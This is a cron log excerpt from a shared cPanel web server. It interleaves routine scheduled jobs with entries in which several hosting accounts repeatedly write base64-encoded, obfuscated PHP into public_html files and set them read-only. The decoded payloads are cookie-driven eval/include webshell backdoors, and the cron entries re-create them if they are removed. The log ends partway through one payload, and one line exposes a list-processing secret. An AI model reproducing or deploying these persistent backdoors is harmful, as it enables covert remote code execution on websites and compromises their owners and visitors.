Mar  2 13:17:02 medusa CROND[19002]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:17:02 medusa CROND[19005]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:17:02 medusa CROND[19012]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:17:02 medusa CROND[19015]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:17:02 medusa CROND[19004]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:17:02 medusa CROND[19028]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:18:01 medusa CROND[25305]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:18:01 medusa CROND[25306]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:18:01 medusa CROND[25309]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:18:01 medusa CROND[25310]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 13:18:01 medusa CROND[25311]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:18:01 medusa CROND[25313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:18:01 medusa CROND[25314]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 13:18:01 medusa CROND[25321]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:18:01 medusa CROND[25322]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:18:01 medusa CROND[25326]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:18:01 medusa CROND[25328]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:18:01 medusa CROND[25327]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:18:01 medusa CROND[25333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:18:01 medusa CROND[25325]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:19:02 medusa CROND[4262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:19:02 medusa CROND[4263]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:19:02 medusa CROND[4264]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:19:02 medusa CROND[4265]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 13:19:02 medusa CROND[4266]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:19:02 medusa CROND[4261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:19:02 medusa CROND[4275]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:19:02 medusa CROND[4276]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:19:02 medusa CROND[4273]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSb